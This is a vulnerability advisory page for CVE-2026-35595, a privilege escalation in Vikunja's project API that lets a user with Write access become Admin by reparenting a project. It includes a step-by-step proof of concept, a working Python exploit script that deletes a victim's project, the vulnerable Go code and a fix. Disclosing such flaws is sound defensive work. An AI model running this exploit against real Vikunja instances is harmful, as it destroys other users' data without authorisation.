Loading...
Skip to main content

CVE-2026-35595 — Vulnerability in code.vikunja.io/api — CVE Details

HIGH

Vikunja vulnerable to Privilege Escalation via Project Reparenting

Published April 10, 2026Updated June 8, 2026Source: osv

Summary

## Summary A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access. ## Details The `CanUpdate` check at `pkg/models/project_permissions.go:139-148` only requires `CanWrite` on the new parent project when changing `parent_project_id`. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain. When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project. ```go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.CanWrite(s, a) // Only checks Write, not Admin if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } } ``` ## Proof of Concept Tested on Vikunja v2.2.2. ``` 1. victim creates "Parent Project" (id=3) 2. victim creates "Secret Child" (id=4) under Parent Project 3. victim shares Parent Project with attacker at Write level (permission=1) -> attacker inherits Write on Secret Child (no direct share) 4. attacker creates own "Attacker Root" project (id=5) 5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden 6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent_project_id":5} -> 200 OK (reparenting succeeds, only requires Write) 7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK -> Project deleted. victim gets 404. ``` ```python import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} victim_token = login("victim", "Victim123!") attacker_token = login("attacker", "Attacker123!") # victim creates parent -> child project hierarchy parent = requests.put(f"{API}/projects", headers=h(victim_token), json={"title": "Parent Project"}).json() child = requests.put(f"{API}/projects", headers=h(victim_token), json={"title": "Secret Child", "parent_project_id": parent["id"]}).json() # victim shares parent with attacker at Write (attacker inherits Write on child) requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victim_token), json={"username": "attacker", "permission": 1}) # attacker creates own root project own = requests.put(f"{API}/projects", headers=h(attacker_token), json={"title": "Attacker Root"}).json() # before: attacker cannot delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token)) print(f"DELETE before reparent: {r.status_code}") # 403 # exploit: reparent child under attacker's project r = requests.post(f"{API}/projects/{child['id']}", headers=h(attacker_token), json={"title": "Secret Child", "parent_project_id": own["id"]}) print(f"Reparent: {r.status_code}") # 200 # after: attacker can now delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token)) print(f"DELETE after reparent: {r.status_code}") # 200 - escalated to Admin # victim lost access r = requests.get(f"{API}/projects/{child['id']}", headers=h(victim_token)) print(f"Victim access: {r.status_code}") # 404 - project gone ``` Output: ``` DELETE before reparent: 403 Reparent: 200 DELETE after reparent: 200 Victim access: 404 ``` The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project. ## Impact Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators. ## Recommended Fix Require Admin permission instead of Write when changing `parent_project_id`: ```go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.IsAdmin(s, a) if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } canAdmin, err := p.IsAdmin(s, a) if err != nil { return false, err } if !canAdmin { return false, ErrGenericForbidden{} } } ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*

Advisory Timeline

  • First published April 10, 2026 (185 days ago).
  • Last revised June 8, 2026 — 59 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update code.vikunja.io/api to 2.3.0 or later
go get code.vikunja.io/api@v2.3.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
code.vikunja.io/api
go
All versions2.3.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-269
    Improper Privilege ManagementMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.3 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Frequently Asked Questions

What is CVE-2026-35595?
Vikunja vulnerable to Privilege Escalation via Project Reparenting This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.3/10).
How do I check if my project is affected by CVE-2026-35595?
CVE-2026-35595 affects code.vikunja.io/api. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-35595 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.3

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-2vq4-854f-5c72
GO-2026-4952

Related CVEs

  • CVE-2026-56765
    CRITICAL

    Vikunja: Unauthenticated Instance-Wide Data Breach via Link Share Hash Disclosure Chained with Cross-Project Attachment IDOR

  • CVE-2026-27575
    CRITICAL

    Vijkunja has Weak Password Policy Combined with Persistent Sessions After Password Change

  • CVE-2026-28268
    CRITICAL

    Vikunja Vulnerable to Account Takeover via Password Reset Token Reuse

  • CVE-2026-68582
    CRITICAL

    Vikunja: Link-share token reads any tenant's kanban buckets and enumerates usernames/IDs instance-wide (BOLA)

  • CVE-2026-107809
    HIGH

    Nginx-UI AuthRequired token cookie fallback enables CSRF against management APIs

  • CVE-2026-107813
    HIGH

    Nginx UI: Incomplete fix of CVE-2026-84315 - the api/cluster router was not - wrapped in RequireSecureSession, so those sensitive mutations run without OTP step-up

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies